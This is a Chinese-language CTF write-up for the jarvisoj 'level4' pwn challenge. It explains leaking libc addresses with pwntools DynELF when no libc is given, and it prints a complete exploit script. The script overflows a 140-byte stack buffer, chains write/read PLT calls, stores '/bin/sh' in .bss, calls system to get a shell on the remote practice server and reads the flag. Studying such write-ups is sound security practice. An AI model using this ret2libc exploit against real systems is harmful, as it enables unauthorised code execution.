PWN

PWN|level4 jarvisoj

没有给 libc 只能用 DynELF 函数自动判断 libc

Posted by Elli0t on 2020-04-23

这道题和 level3 的程序是一样的,就是没有给 libc 版本
用 DynELF 函数自动判断 libc,然后可以自动地resolve出所有的函数、数据地址
d = DynELF(leak, elf=ELF(“./level4”))
DynELF 配合 leak 使用,leak 模版是:

1
2
3
4
5
6
def leak(address):
payload='a'*140+p32(write_plt)+p32(vulner_fun)+p32(1)+p32(address)+p32(4)
sh.sendline(payload)
leak_sysaddr=sh.recv(4)
print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex')) #just for test
return leak_sysaddr

bss segment 通常是指用来存放程序中未初始化的全局变量的一块内存区域,bss 储存全局变量,可写。所以为了实用 /bin/sh 下面用 sendline(“/bin/sh”) 方法写入 bss ,不能放栈上是因为函数结束时会销毁栈。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './level4'
HOST = 'pwn2.jarvisoj.com'
PORT = 9880

def exploit(sh):
write_plt = elf.plt['write']
read_plt = elf.plt['read']
vulner_fun = elf.symbols['vulnerable_function']
bss_addr = elf.symbols['__bss_start']
def leak(address):
payload='a'*140+p32(write_plt)+p32(vulner_fun)+p32(1)+p32(address)+p32(4)
sh.sendline(payload)
leak_sysaddr=sh.recv(4)
print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex')) #just for test
return leak_sysaddr
d = DynELF(leak, elf=ELF("./level4"))
sysaddr=d.lookup("system","libc")
payload = "a"*140 + p32(read_plt) + p32(vulner_fun) + p32(1) + p32(bss_addr) + p32(8)
sh.sendline(payload)
sh.sendline("/bin/sh")
payload_2 = "a"*140 + p32(sysaddr) + p32(0x1) + p32(bss_addr)
sh.sendline(payload_2)
time.sleep(0.5)
sh.sendline('cat flag')
flag = sh.recv(40)
sh.close()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

参考链接

https://blog.csdn.net/qq_43986365/article/details/95081996
http://m.bubuko.com/infodetail-2625601.html